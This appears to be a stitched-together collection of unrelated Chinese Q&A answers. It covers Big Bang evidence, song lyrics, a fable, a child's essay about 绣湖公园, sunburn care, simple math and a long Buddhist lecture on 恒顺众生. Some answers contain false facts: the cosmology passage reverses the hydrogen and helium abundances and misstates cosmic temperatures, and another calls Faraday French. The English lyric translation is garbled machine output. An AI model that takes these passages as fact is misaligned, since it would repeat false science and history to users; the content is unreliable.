其中，V（Km/sec）是远离速度；H（Km/sec/Mpc）是哈勃常数，为50；D（Mpc）是星系距离。1Mpc＝3.26百万光年。c）氢与氦的丰存度由模型预测出氢占25％，氦占75％，已经由试验证实。d）微量元素的丰存度对这些微量元素，在模型中所推测的丰存度与实测的相同。e）3K的宇宙背景辐射根据大爆炸学说，宇宙因膨胀而冷却，现今的宇宙中仍然应该存在当时产生的辐射余烬，1965年，3K的背景辐射被测得。f）背景辐射的微量不均匀证明宇宙最初的状态并不均匀，所以才有现在的宇宙和现在星系和星团的产生。g）宇宙大爆炸理论的新证据在2000年12月份的英国《自然》杂志上，科学家们称他们又发现了新的证据，可以用来证实宇宙大爆炸理论。长期以来，一直有一种理论认为宇宙最初是一个质量极大，体积极小，温度极高的点，然后这个点发生了爆炸，随着体积的膨胀，温度不断降低。至今，宇宙中还有大爆炸初期残留的称为“宇宙背景辐射”的宇宙射线。科学家们在分析了宇宙中一个遥远的气体云在数十亿年前从一个类星体中吸收的光线后发现，其温度确实比现在的宇宙温度要高。他们发现，背景温度约为-263. 89摄氏度，比现在测量的-273.33的宇宙温度要高。虽然已有上述证据存在，但是宇宙是否起源于大爆炸学说，仍然缺乏足够多的令人信服的证据。

爱是一种感觉，心灵感应一样。想把一切都付出长大就明白了。就想你父母爱你一样，从小到大他们对你的每一个细节都是爱。

歌曲：童话歌手：光良 专辑：童话 忘了有多久再没听到你对我说你最爱的故事我想了很久我开始慌了是不是我又做错什么你哭着对我说童话里都是骗人的我不可能是你的王子也许你不会懂从你说爱我以后我的天空星星都亮了我愿变成童话里我要变成童话里我会变成童话里你爱的那个天使张开双手变成翅膀守护你你要相信相信我们会像童话故事里幸福和快乐是结局一起写我们的结局Song: Children"s stories singer: Glorify good title: Children"s stories Have forgot how long to have not to have heard you saying your most loving story to me again I have thought that I begin to have got flustered for a long time what I can"t act as wrong that you are crying all is to cheat others in saying children"s stories to me it are impossible that I being your Prince after you maybe can not know loving me as for you my sky the star has been all bright I that I may become that angel that you love in children"s stories spreading both hands becomes a wing in I wishing I need to become children"s stories in becoming children"s stories defending your your need to believe that we will be Like fairy tale lining

因为还要谈判啊、赛程只是相当于一个通知而已！要不要实行还得看上面的决定

热敏电阻或者NTC电阻的特点就是阻值随温度变化，只要温度变化了，阻值就会变化。

原因状语从句，that perseverance is the only road to success为从句。因为坚持不懈是通往成功的唯一道路，所以即使千百次我们也要重复（我们应该重复1001次）。

1) 我想你说的是近代法国著名科学家法拉第,发现了电磁感应规律。但是由于他不能用最科学最严密的语言表达出来,因此一直没有得到科学界的承认,直到麦克斯韦完整地表述了这一规律,才得到人们的正式承认。2) 再讲一个古老的故事，《折筷子》。 就是将团结合作的典故. 有一位老人就要死了，他对自己的孩子们说道：“亲爱的孩子们，来看一看，你们是能否把这些捆在一起的箭折断？你们试过之后我将会给你们解释一下与它们连在一起的秘密。” 大儿子把箭捆拿了过去，用尽全力，没折断。第二个儿子接了过去，也试了试，但也是白费力气。小儿子试了试，也没有成功。这捆箭没有一个人能折断，连一根箭也没有折断。这时父亲说道：“你们真是些没有力气的人！现在让我来演示给你们看看，遇到这类情况，我能用我的力气来做些什么吧。” 在场的人都笑了，以为他在开玩笑。但是，老人把箭捆拆开，然后毫不费力地将它们一一折断。老人说道：“你们看到了吧，这就是团结的力量。我的孩子们，愿手足之情让你们联合起来，请你们答应我，你们之间将亲密无间，团结协作。” 老人死后，三个孩子得到了很大一笔遗产，但是同时也存在很多问题。面对困难，三兄弟团结一致，成功地克服了众多困难，处理了这些问题。但是到后来，他们之间的友谊越来越淡，以至最终断了兄弟之情。血缘曾经将他们连在一起，但是利益关系却又将他们分开。奢望和贪婪都介入到遗产的分配问题上。他们为了财产分配而争论、诉讼。以前的问题又重新而来。不再团结合作的兄弟们在处理问题上意见分歧，最终导致了财产的损失。到这时，他们才想起被抛在脑后的箭捆之盟，可惜已经太晚了。

家乡的一处景物——绣湖公园 绣湖公园是我家乡的一处景物，也是我在家乡最喜欢去的一个地方。那里非常漂亮。特别是晚上，绣湖就会映出岸上的霓虹灯，天上的月亮、星星，看上去简直就是一幅画。微风吹来，吹动了绣湖的水，马上就能看到波纹一圈一圈的荡漾开去。好像风娃娃在作画，它把岸上的霓虹灯和天上的星星、月亮给画出来了。突然，风娃娃觉得一块地方不满意了，它要擦掉重新画。风娃娃马上就拿起“橡皮擦”（也就是风）擦掉了那块他不满意的地方，又重新画。不一会，那块风娃娃不满意的地方又重新画好了。早晨，我看见太阳撒下一束束金光照在绣湖公园的小路上，暖洋洋的。哦，原来太阳变成了一个金光闪闪的大金球。如果这时走在绣湖公园的小道上，简直就像沐浴在轻柔的、温暖的阳光里，而且也不太刺眼，可以想象有多么的舒服，暖和。中午，火辣辣的太阳把大地炙烤得滚烫滚烫的。这时，绣湖公园里一般都没有人，因为大地很烫，所以一般都没有人敢出来。这样一来，绣湖公园就显得十分冷清了。晚上，可是绣湖公园最热闹的时候了。那里有老人、小孩、大人、青年，也有买东西的小贩。我觉得晚上的绣湖十分漂亮，可以从湖水里看到天上的星星、月亮和岸上的霓虹灯。如果把湖水里映出来的星星、月亮和霓虹灯看作一幅画，那位画家的本领一定很大。绣湖公园，你一天中变幻无穷，好比一位魔术师。

也有可能是你的显卡设置有问题吧.我的就是这样.打开显卡设置面板就OK.关闭问题还是有.很烦,但不知道怎么被我弄好了.

没有

没有啊，你看，李春天的春天，一定是个很好的日子，而梁冰又和李春天有那样的故事，他们一定结婚了，而小庄只是一个秘书，我想梁冰不一定看得上她。。

下面是治疗晒伤肌肤的方法: 在炽热的阳光下活动了一天，如果事后不好好保养，会对皮肤造成严重的伤害。在晒太阳后，学会几招补救处理的方法，是生活中必备的美容方法。 海边游泳后的皮肤护理 如果你在海边游泳后皮肤感到炽热疼痛，应该先用清水把皮肤清洗干净，因为海水的盐分会吸收皮肤的水分，使肌肤变得粗糙，所以要保有幼滑的皮肤，一定要彻底洗净身上的盐分。清洗时，用冷水效果最好，避免用热水。 此外，晒伤后不要因为爱美而化妆，因为这时的皮肤已经发炎，再涂上化妆品后，会使它再受刺激，加重病情，康复的速度反而减慢。 晒后的美白修复 晒后修复美白有多种方法，可以做短期的速效修护，也可以做长期的深层修护，或者还有一些方法，帮助你进行紧急救护。 短期的护理如果去美容院做一次专门的修复美白，会明显地改善晒黑的皮肤。速效护理是通过皮肤护理将外层失去功能的角质层清除掉，让里层的角质层显露出来，然后对这些新细胞补充离子水并高效保湿，使它们充满水分膨胀起来。水分饱满的表皮角质细胞，使色素自然减淡了许多，肤色也随之变白。速效护理可通过几个护理程序，使美白的效果明显可见，但只能保持3-7天。护理程序大概包括：两次清洁、收缩毛孔、按摩放松皮肤细胞、软化角质、清除死细胞、面膜保湿、美白护理及紫外线隔离等。 长期美白修复也是一种深层美白护理，需要使用美白保养品，来强化皮肤深层角质层的生理功能，抑制黑色素的生成，淡化角质层细胞的黑色素，使皮肤渐渐达到白里透红的颜色。表皮角质层细胞的黑色素减少以后，角质层变得透明了，皮肤就会渐渐转白。长效美白的保养需要天天做，每天早晚各一次。 急性皮肤破坏的修复 阳光对皮肤的急性破坏，是我们平时所说的晒伤，即皮肤会出现带红、疼痛、脱皮、起水泡，严重的甚至会出现发烧、头痛等情况。皮肤晒后如果出现带红、疼痛等感觉，首先应该先稳定发热的皮肤。先用冷水或冰包等散热，然后利用保湿或美白效果好的冰冷化妆水稳定皮肤。这时最好把浸满化妆水的化妆棉放在冰箱里，等冰凉之后再把它拿出来敷在脸上10分钟左右，这是稳定皮肤最有效的方法。 等皮肤稳定之后，用保湿性能强的精华液或水分面膜等进行特殊护理。此时，利用对稳定皮肤有良效的黄瓜面膜或土豆面膜也非常有效，只是做面膜后必须把残留物清洗干净。最后，不要忘了使用能帮助它恢复水分平衡的润肤乳(最好含有维他命E)。 若皮肤表层开始剥脱，不要用手将皮撕落，应该让死皮自然脱落。因为皮肤剥脱表示新的皮肤已经开始生长，如果新的皮肤还没有完全长成，便用手将死皮扯脱，反而会使未长成的娇嫩皮肤太早暴露在空气和阳光下，这会使新皮肤形成黑斑。若皮肤已经出现水疱，最好由医生诊断后再涂上消炎药膏，以免皮肤受到其它感染。 慢性皮肤破坏的修复 阳光对皮肤的慢性破坏则包括皮肤提早衰老、面黄、干旱、起斑、出现皱纹等，这是因为太阳光中的紫外线会破坏皮肤的组织，减慢皮肤的新陈代谢速度，令死皮积聚在表皮的时间更长。如果脸上出现了晒斑，或者雀斑和黑斑的颜色加重，可以去美容院做局部祛斑美白。美容院通常使用含有美白成分的中浓度果酸溶液去除角质层及美白护理，在长斑的部位涂上果酸溶液，在脸上保留10分钟，再用清水清洗掉，用保湿面膜敷10分钟，清洗后在斑点部位涂上祛斑霜，再在脸上搽上含有维他命C、曲酸或甘草萃取液等美白成分的美白霜，最后再涂上SPF15的防护隔离霜，晚上则涂美白精华液，尽量让皮肤吸收。 晒身后的身体及头发护理 晒身之后最好是用温水作淋浴，而不是在浴盆里洗浴。用热水洗澡可以增加身体的热量，使皮肤更加干燥，且容易受到刺激。可是利用淋浴器的话不仅可以减少刺激，而且还可以利用淋浴器的水压得到自然按摩的效果，促进血液循环和新陈代谢。利用浴巾和浴液揉出泡沫之后把身上的污物清洗干净，然后用凉水冲洗。消除角质时需使用柔和的磨沙膏，而绝对不能使用粗糙的浴巾搓澡或用手抠掉角质。淋浴之后最好在身上还残留水分时涂上奶液或肤油，使皮肤充分吸收水分。 晒身之后头发也会受到很大的损伤。因此使用洗发液清洗之后，必需在头皮上提供充分的水分和营养，这时涂上充分的护发膏用热毛巾裹住，过20分钟之后再清洗干净，这样头发更有利于吸收营养。此外晒身之后最好多喝水和吃水果，因为通过食物补充水分和维他命是非常重要的。而且尽量避免穿过于紧身的内衣，因为内衣和敏感的皮肤磨擦之后会产生皮肤炎。最后外出时不要忘了在脸上和身体裸露的部分涂上防晒霜。

这句话应该是先敬罗衣后敬人。说的是世上的人都是先看到一个人的穿着打扮，看到穿着光鲜的就会觉得这个人有能力有家世，再才是看这个人本身有没有能力是不是真的家世。

B. acronym缩写Radar=radio detection and ranging

猝卒 哈哈 我乱盖得

如果结了婚可能出现几种情况，一是经过一段时间的夫妻生活你也会喜欢上他，然后继续你们的幸福生活。二是你依然对他没有感觉，只是在维持一个家庭，勉强过下去，虽然平淡但你本身感觉不到幸福会因此痛苦。自己想想吧

三极管是电流控制器件，三极管恒流源电路就是电流源，用运放做控制效果更好。http://baike.baidu.com/view/3001573.htmhttp://wenku.baidu.com/view/c4b3cbf77c1cfad6195fa758.html

x/5/12=x/5-4解得：x=240/11过240/11分钟，时针与分针第一次重合

不懂

韩国小姐 韩敬真http://www.baidu.com/s?lm=0&si=&rn=10&ie=gb2312&ct=0&wd=%C9%B1%CA%D6+%C5%AE%D6%F7%BD%C7++%BA%AB%BE%B4%D5%E6&cl=0http://www.whnews.cn/2005-08/25/content_492986_7.htmhttp://image.cn.yahoo.com/searchdtl_v3.html?p=%BA%AB%BE%B4%D5%E6&sf=&sel=0&pid=yisou&ori=http://pic.anhuinews.com/0/01/06/54/1065470_409888.jpg&thu=http://tn6.cn3.yahoo.com/image/12cc/fd96663bf5b86c8e14.jpeg

一般玩极限运动，我估计三十岁而立之年开始就不大合适了吧！不过很多极限运动老手五十岁都在玩。关键是看你的体能啊，决心。还有对极限运动的理解。极限运动，重在超越自我。比如跑酷就要求小，关键是超越自我的哲学。根据自己的经济实力，时间安排等自身情况玩极限运动滴。

解：（1）设油箱中的剩余油量y（升）与汽车行驶里程x（km），由于图象经过（50，56）（80，52），设解析式为y=kx+b，∴56=50k+b52=80k+bu200b，解之得k=-110b=60u200b，∴y与x之间的函数关系是y=-110x+60；（2）由题意，-110x+60=0，解得x=600，即加满-箱油汔车可行驶600km．

随顺众生什么意思 佛经原文开示恒顺众生，是《普贤行愿品》的核心所在。前面八个大愿的一切内容，都是为恒顺众生打基础。佛教的重点不是佛，也不是菩萨，而是众生。不过，这也是因人而异，怎么说呢？如果一个人，他永远想当众生，那么佛、菩萨对于他来说，永远都是最重要的。因为他需要依赖佛菩萨，永远都希望得到佛、菩萨的加持和保佑，从来就没有想过要去帮助别人。一个人如果只希望得到别人的帮助，这种人永远都是可怜的众生。 反过来说，如果一个真正行菩萨道的人，他要想成佛的话，那么众生对于他来说，就显得特别重要了。因为，成佛要建立在度众生的基础上，离开了众生，就不能成佛。你要成佛，就要选择众生，众生对你就十分重要！如果你要当众生，就选择佛、菩萨，佛菩萨对你就很重要。

　　推荐师兄看看济群法师讲的《普贤菩萨十大愿王》中的“恒顺众生”愿，也许能有些启发吧，合十祝吉祥，阿弥陀佛。　　众生比佛重要　　恒顺众生，是《普贤行愿品》的核心所在。前面八个大愿的一切内容，都是为恒顺众生打基础。佛教的重点不是佛，也不是菩萨，而是众生。不过，这也是因人而异，怎么说呢？如果一个人，他永远想当众生，那么佛、菩萨对于他来说，永远都是最重要的。因为他需要依赖佛菩萨，永远都希望得到佛、菩萨的加持和保佑，从来就没有想过要去帮助别人。一个人如果只希望得到别人的帮助，这种人永远都是可怜的众生。　　反过来说，如果一个真正行菩萨道的人，他要想成佛的话，那么众生对于他来说，就显得特别重要了。因为，成佛要建立在度众生的基础上，离开了众生，就不能成佛。你要成佛，就要选择众生，众生对你就十分重要！如果你要当众生，就选择佛、菩萨，佛菩萨对你就很重要。二者之间，你到底选择哪一种呢？　　恒顺众生的原则　　恒顺众生，恒就是永恒、永远不停止的意思。恒顺众生，就是在任何时候，都要顺从众生，顺从他们的意思。当然，顺从众生有一定的原则，主要是指顺从众生的善性，而不是顺从其恶性。对众生真正有利益的事，我们才顺从；不利的事就不能顺从。譬如有人说，我要去杀一个人，对方力气比我大，我一人杀不了他，我需要一个帮手才能杀他，你跟我一起去，你是菩萨嘛，应该顺从我。你要不要随顺他呢？不能随顺他。对！又如，有人想不开，要寻死上吊，需要一根绳子。他说：你是菩萨，就行行好吧！布施一根绳子给我。那你就不能顺从他。所以，随顺众生，还是要讲原则，不能是非不辨，善恶不分。　　随顺众生，就是根据众生的需求，无条件地给他们利益和快乐。记得台湾佛光山上有四个信条：给人信心、给人欢喜、给人方便、给人服务。这四条，就是随顺众生的具体体现。假如我们每一个人，心里常常怀着这样的念头，随时准备为众生服务，不带任何的私心杂念，那这人就是菩萨了。一个人具有菩萨的心愿和菩萨行为，这个人便是菩萨！　　通常我们到宾馆里去，那些服务小姐，就会热情地走上前来问道："请问先生、女士你们有什么需要？你需要我为你做些什么？只管吩咐就是。"在宾馆里能听到这样的话，但为什么我们走到马路上，就听不到这样的话呢？这是为什么？这个道理很简单，她是为了赚钱，对你热情，对你好，因此，这就谈不上行菩萨道，恒顺众生更免谈。如果是乞丐在宾馆门前多站一会儿，那服务小姐对他的态度会怎样呢？我想她板着脸赶他走时的语言，一定是不耐烦、不入耳的。　　《普贤行愿品》里所说的"众生"，不仅指人类，而且包括了世界的所有众生。对于一个行菩萨道的人来说，我们要给众生带来安乐和利益。若有人打麻将三缺一，请你参加，虽然能给另外三人带来快乐，但这种快乐没有意义!又比如有人吸毒，毒瘾发作时，非常痛苦，他需要你为他提供毒品，假如你能为他提供方便，对他来说当然非常开心，但是没有利益!像这种随顺、慈悲就是瞎顺从、假慈悲。所以，对众生的随顺，建立在给他们带来利益和安乐的前提下去慈悲他们；而不是无原则的乱慈悲、瞎恒顺。　　以众生为中心　　恒顺众生，一般人难以做到。我们总是希望别人随顺我，自己却不喜欢去随顺别人。因为有情的特点总是以自我为中心，强烈的我执遮住了我们的同情心、理解心。像妻子希望丈夫顺从自己，根据自己的意思去做事；丈夫也希望妻子顺从自己的愿望，去做一些事情。这样的一对夫妇在一起生活，肯定要吵架。因为强烈的我执，只懂得让对方尊敬自己，顺从自己；而自己难以去理解对方、尊重对方、随顺对方。　　一个自我意识较强、个人主义突出的人，他的群众关系和家庭关系就不和睦。通过学佛，要我们去随顺别人，就觉得难受、别扭。这种难受和别扭就是菩萨行的开始。难行能行，难忍能忍，这才是学佛、行菩萨道的人。修行的人，首先要学会吃苦、容忍、受委曲，必须向自己的烦恼、欲望、执着、个人主义等不良行为唱对台戏，那样才能改变自我的生命。　　我们学习《普贤行愿品》的第九大愿"恒顺众生"，就是要改变过去以"自我为中心"的错误观念，把"以自我为中心"改变为"以众生为中心"，去为众生的利益服务。只有这样，才能与普贤菩萨的精神相应。　　平等饶益众生　　我们随顺众生，到底顺从哪一些众生呢？尽法界，虚空界，十方三世刹海所有的众生，我们都要顺从他们，给他们带去安乐、利益。我们对待他们应该像对待我们自己的父母、师长、阿罗汉、佛、菩萨那样，平等地对待他们。　　在日常生活中，我们经常看见妻子随顺丈夫，丈夫随顺妻子，儿子随顺父母，弟子随顺师父......这些都不太难做到，因为这些人都是你尊重、喜欢的人，要随顺他们不是一件难以办到的事。特别是现在的独生子女，父母随顺儿女的现象十分突出，小宝宝要什么买什么，有求必应，父母在儿女面前，真是大慈大悲！但是你的悲心和爱心能扩展到你的冤家、仇敌身上吗?你能做到随顺他们，有求必应吗？恐怕很难！至于猪、狗、猫、鸡以及蟑螂、老鼠、苍蝇、蚊子等动物，就更难随顺了。　　一提到老鼠、臭虫、苍蝇、蚊子，很多人说，那是四害啊！干么要随顺它呢？人类认为它们是四害，其实，站在它们的角度，它们认为人才是世界中最大的大害！因为人类破坏了自然的生态平衡，把地球折腾的不像个样子：到处发洪水，天气冷热不定，环境污染严重，耕地日益减少，森林遭到破坏，许多动物遭到捕杀，甚至许多稀有珍贵动物面临灭绝！人类不仅破坏、毁灭大自然良好的生态生存环境，而且还破坏、毁灭人类自己，比如战争造成人与人之间的相互残杀。这一切的罪恶，不是蚊子、苍蝇所能够造成的！　　从这个意义上来说，人类在自然界中才是罪魁祸首。因为一切丑恶现象，和一切罪恶的根源来自于人类的贪嗔痴。所以谁是大害？人总是站在人的角度，带着以自我为中心的有色眼镜，去看待一切事物。因此，凡是与你个人利益发生冲突的人和事，对你来说何尝不是大害呢？如生意场上，同一条街，开了两家店，他的生意做的比你好，你的生意清淡，盈利不如他，你不觉得他是你的大害吗？会不会？肯定会的。可见害与不害，是相对而言的。有损于你的利益，你觉得是大害；倘能给你带来利益，那便是大好了。　　我们学佛，行菩萨道，就是要学佛的慈悲心，平等心，对所有的众生都要一视同仁，用佛的胸怀去包容一切人和事。蚊子叮你一口，你一巴掌拍过去，你的境界跟它一样高。甚至你比它还要可怕！它只不过叮了你一口，你就要了他的命，如果蚊子诉讼于法庭，那你肯定要判处死刑！蚊子呢？无罪释放。现在欧美国家大谈人权，比起那些不讲人权的国家，是文明多了；但比起佛教来，还是落后的，因为佛教讲的是众生权，一切众生平等，一切众生都应该相互尊重。　　"随顺众生，种种差别"。众生的种类繁多，世界上的生物千差万别，"所谓卵生、胎生、湿生、化生"。这是从受生的方式，说明众生的差别。有情受身的四种方式，在第五愿随喜功德中，已经向大家作了详细的说明。"或有依地水火风而生住者，或有依空及诸卉木而生住者"。这是众生生存的环境，主要是依地、水、火、风所构成的物质环境，有生存在水里的，有生存在陆地上的，有生存在虚空中的。　　"种种生类，种种色身，种种形状，种种相貌，种种寿量，种种族类，种种名号，种种心性，种种知见，种种欲乐，种种意行，种种威仪，种种衣服，种种饮食，处于种种村营、聚落、城邑、宫殿"。这是进一步说明众生的差别。先从外在的形相开始说有受生的方式不同，如胎、卵、湿、化等；色身的种类不同，牛、马、猪、人等；形状不同，各种动物长相都不一样；相貌不同，有美有丑；寿命长短不同，乌龟能活上千万年，而有些众生寿命很短，朝生暮死，甚至有些动物，才从娘胎里落地就死了；种族不同，人有白种人、黑种人、黄种人等；民族也不一样，回族、藏族、苗族、汉族等；名号不同，张三、李四称呼各异。　　其次从心理活动看："种种心性"，指心理活动和心理素质不同。"种种知见"，对世间的认识不一样，观念不一样。"种种欲乐"，欲就是欲望，某种欲望得到满足后的快感就是欲乐，有情的欲乐千差万别，就人类而言，有的人喜欢当官，有的人喜欢当作家，有的人喜欢当演员，有的人喜欢炒股票，欲乐不同也。"种种意行"，由于思维不同，所表现出来的行为也不一样，有的人天生一副菩萨心肠，对人心地善良慈悲，乐意助人；有的人天生凶残，对人冷酷无情，杀人不眨眼。像希特勒这个千古罪人，就是一个杀人狂，第二次世界大战无数的人死在他的手下，他的意行就是吞灭整个地球，征服整个人类。　　再从生活方式看："种种威仪"，威仪，指一个人的仪表，外在表现出来的一种形象、气质，行、住、坐、卧，言谈举止；"种种衣服"，人类穿的衣服种类不同，或者说各类众生它们羽毛和皮毛也不一样，如孔雀的羽毛十分漂亮、美丽，麻雀的羽毛相比之下，就逊色多了；"种种饮食"，饮食习惯不同，四川人爱吃辣椒，北方人爱吃面食，江浙一带人爱吃甜食等等；马、牛、羊也是杂食动物，它们吃草，也吃其他一些食物。老虎、狮子、狼等，是肉食动物。众生的饮食习惯不一样。"处于种种村营、聚落、城邑、宫殿"，众生居住的环境和地方不同。　　"乃至一切天龙八部、人非人等，无足、二足、四足、多足，有色、无色，有想、无想，非有想、非无想"。天龙八部，上一讲已经向大家作了详细的解释，这里不再多讲。无足，如蛇、蚯蚓之类的众生。二足，像人、鸟类，二只脚的众生。四足，是兽类，如虎、熊猫、狗等，用四只脚行走的众生。多足，像蜈蚣、百足虫之类的动物。有色，指欲界及色界，具有色身形态的众生。无色，指无色界的众生。关于无色界，有的说没有粗色，细色是有的；有的说细色也没有，仅有心识活动。有想，如人类及一般天趣的众生。无想，是无想天的众生。非有想、非无想，是无色界非想非非想处的众生。　　"如是等类，我皆于彼随顺而转；种种承事，种种供养；如敬父母，如奉师长及阿罗汉，乃至如来，等无有异。于诸病苦，为作良医；于失道者，示其正路；于暗夜中，为作光明；于贫穷者，令得伏藏。菩萨如是平等饶益一切众生"。如是，指前面所说的各类众生，我们应该顺从他们各自不同的需求，用种种方法，服侍他们，用种种物品，供养他们。虽说他们不是我们的父母，不是佛陀，但我们恭敬、供养他们时，如同恭敬供养我们的父母，恭敬供养佛陀一样。　　《梵网经》里讲："一切男子是我父，一切女人是我母。"从六道轮回的角度来看，世界上很多众生，曾经跟我们有过父母、兄弟、姐妹眷属的关系。只是因为大家改头换面了，今生彼此不相识。因为我们无始以来，死死生生，不知生过多少次？死过多少次？我们无始以来流过的血，比四海的水还要多，我们的尸骨堆集起来比喜马拉雅山还要高。只是因为改头换面的关系，天天碰在一起，也是谁也不认识谁了。　　有这样一个故事：从前有一个高僧，到了一家人的门口，看见里面正在大办喜事，宾客满堂，无比开心。这个高僧站在那里，笑了又笑。这家人感觉莫名其妙，上前问道："师父，是不是来化缘的？"师父回答："不化缘。"这人说："既然不化缘，站着笑什么？"师父念了一首诗偈："众生实在苦，六亲锅里煮，牛羊为上座，孙子娶祖母。"意思是说：众生不但活得非常苦，而且实在可怜、可笑。你们现在锅里煮的那些菜肴，就是你前生的六亲眷属。你请来的这些宾客，在过去生中，是你家养过的牛、羊，如今却变成了你们家的亲朋好友。你娶的儿媳妇，是婆婆转生的；因为婆婆对孙子特别的爱！死了之后，一念之爱，她转生又来这个家，结果呢？做了孙子的媳妇。通过这个故事，从轮回上来说，人类真是无知可笑，可耻可怜。因此，无始以来，许多众生跟我们都有过父母、兄弟、姐妹的关系。所以恒顺众生的对象，像上所说种种类型的众生，我们都要随顺他们。　　"于诸病苦，为作良医"。见到有疾苦的众生，我情愿做他们的医生，为他们治病，服侍他用药，这是对身病而言；对患心病的人来说，看见人家心情不好，有痛苦、有烦恼的时候，我们要用佛法的道理去开导，让他开心，帮助人家摆脱心理负担和障碍。　　"于失道者，示其正路"。有人迷路了，我们要给他指引方向。比如说，有人初到此地，不知柏林寺怎样走才能找到，你就告诉他正确的路线，免得走错路。从广义上来说，有的人在人生的路上迷了路，活得很苦恼。他们看不见人生的道路和前途，他们找不到人生的价值和最佳的归宿，思想很空虚，觉得活着没有什么多大的意义。　　像台湾的三毛，还有顾城之类的人物，他们活得很痛苦。因为他们找不到人生的价值和意义所在，当他们找不到自我的价值的时候，生命对他们来说也就失去了意义。所以，他们最后以自杀的方式，结束了自己的生命，像这样的人不少啊！像社会上许多哲学家、文学家、艺术家，他们都比较有思想，但他们活得很累、很痛苦。当我们看见这些人，在人生的路上迷了路，我们应该以佛法的道理去开导他们，我们情愿做明亮的灯光去照亮、去驱散他们心中的阴云，使他们摆脱痛苦，从迷茫、困惑的黑暗间走出来。　　我认识一位居士，他曾经搞过文学创作，二十几岁发表过小说、诗歌。他曾经活得很痛苦，曾想过自杀。后来，他从《法音》上看到我的《生命的痛苦及其解脱》这篇文章后，改变了他的人生观和世界观。他对佛法感激不尽！从1994年开始，他对佛法产生了浓厚的兴趣。后来，他把这篇文章复印了几十份，在朋友中流通。他说自己受益了，应该让与自己同样受苦的人也能受益。并来信表示，要做一名好的佛教徒。　　他在给我的信中写道："昨夜，我流着泪，在一条弯曲的小路上寻找；寻找光明和人生的归宿。但是，一点儿希望也没有，我在痛苦和绝望中倒下。今天，我顺着济群法师指引的正法，我带着微笑重新走在那条路上。虽然这条路崎岖又漫长，但我始终把佛陀的话，当作我修行的目标。我要沿着师父指引的正道，继续走下去，永远走下去。"他在信中还这样写道："我曾把皈依三宝的心愿，悄悄地告诉给小河，每朵浪花都载着我虔诚的祈祷，在为我祝福！河面上有一片树叶在跳动，那是我的心，在寻找皈依三宝、善知识的彼岸。"有的人说，佛法太消极了！佛法消极不消极啊？太不消极了！说它消极的人，其实是对佛法最大的误会。世界上只有佛法才是最积极的！　　"于贫穷者，令得伏藏"。碰到贫穷的人，我们要用经济去帮助人家。或者传授给他一种谋生手段，使他学会谋生的方法，这也是一种布施。这种布施比起你直接给他一二百元钱的好处、作用要大得多。还有一种人，虽然他们经济很富有，但思想却很贫穷。金钱上他们是富翁，但精神上他们却是乞丐。这种人什么也不缺，他们富得除了钞票以外，剩下的还是钞票。但是，他们往往生活得并不一定幸福。有些人从表面上看，他们活得很神气、很气派，而他们的内心却是十分空虚和苦恼。所以，我们大可不必去羡慕那些有钱的人。有钱的人，只能从别人羡慕他的眼光中，享受到一点点人生的乐趣和满足，自己真正感到幸福的人很少。有钱人要为钱所累；有地位权势的人，要为权势所累。我们学佛的人，要用佛法去开导他们，启发他们生命内在的智慧，使他们活得愉快充实。　　一个人活在世间，财富仅仅是生存的一种需要，并不是人生寻找追求的目标。其实，真正的财富不只是金钱。智慧、健康、慈悲、博大的胸怀、良好的待人处世方法等，这些都是财富。　　学佛行菩萨道，要慈悲一切众生，于贫穷者，令得伏藏，用菩萨的心肠和行为为众生带来利益和好处，随时为众生服务，使他们得到佛法上的受用。随时要想道：众生我能为你做些什么？这是平等饶益一切众生的意义所在。　　众生欢喜则如来欢喜　　"何以故？菩萨若能随顺众生，则为随顺供养诸佛；若于众生尊重承事，则为尊重承事如来；若令众生欢喜者，则令一切如来欢喜"。"何以故"是什么缘故呢？普贤先问一句道：对佛陀随顺，当然是应该的，但是为什么对众生，要像上面所说的那样根据他们不同的情况，不同的需要，去随顺供养他们呢？大家要晓得，菩萨若能随顺众生，就是随顺供养诸佛；如果能够尊重承事众生，就是尊重承事诸佛；如果能够使得众生生欢喜心，就等于令一切诸佛生欢喜心。因为佛陀把众生看成和自己一体，把众生看成是自己的独生子一样。佛陀对众生是多么的慈悲！　　佛经中记载的"举身微笑"，是指佛陀每一次在说法的时候始终保持微笑。什么是举身微笑？举身微笑的意思是，笑不仅在脸上，而是在全身，笑的时候，全身的每一个细胞、每一个毛孔都在笑。因为只有浑身放松、心态柔和，才能保持微笑，微笑也是一种布施，能够让人欢喜。你对人家笑一笑，人家也对你笑一笑，肯定不会错的。反过来，你跟人家板着脸，再好的人也如隔千里。你尊重人家，人家也尊重你。你瞧不起别人，别人也瞧不起你。我们说话做事都要让众生欢喜，才会使一切诸佛欢喜。　　我们学习了《普贤行愿品》的这个法门，要把尊重三宝的观念，推广普及到我们人生的日常生活、社会生活中去。用佛的胸襟去对待众生，你就是佛菩萨！反过来讲，你只懂得尊重如来，只知道给寺庙上供，给菩萨叩头，但社会上人际关系搞得不好，大家对你意见很大。然后人家说，你这个学佛的人跟我们不学佛的人没有区别，这样，你对如来有没有贡献?对三宝有贡献吗？一点贡献也没有。不仅没有贡献，而且在作践、糟踏三宝。使别人断绝对佛法的善根，那是你的罪过。学佛的人，无论在家庭、工作、社会中，处处要以佛、菩萨的道德行为，来严格要求我们自己，要在人群中作出榜样，为人处世，处处都体现出我们在学佛上的修养，让大家感受到佛法的伟大和慈悲！　　我过去不太注重对《普贤行愿品》的研究，更多的是注重《金刚经》、《心经》，重视佛法哲理内涵上的体悟。然后用佛法的智慧去观察人生、观察生活，把佛法的智慧，贯穿到现实生活修行中去。这次要讲《普贤行愿品》，才进行了学习，每读一次，都为菩萨的同体大悲精神所感动。以后，我要经常读诵它。我希望学佛的人把它作为功课，时时用普贤的境界来观照自己的行为，那么，每一个人都是菩萨了。　　离开众生不能成佛　　"何以故？诸佛如来，以大悲心而为体故。因于众生，而起大悲；因于大悲，生菩提心；因菩提心，成等正觉"。菩萨的特点是同体大悲，同体大悲就是无私忘我。菩萨同体大悲的特点，主要表现在：把众生的痛苦看成是自己的痛苦；众生的困难就是我的困难；众生的需要就是我的需要；众生的生死就是我的生死；众生的快乐就是我的快乐。把众生的困苦、生死、快乐跟自己的命运紧紧地联系在一起，这就是同体大悲。　　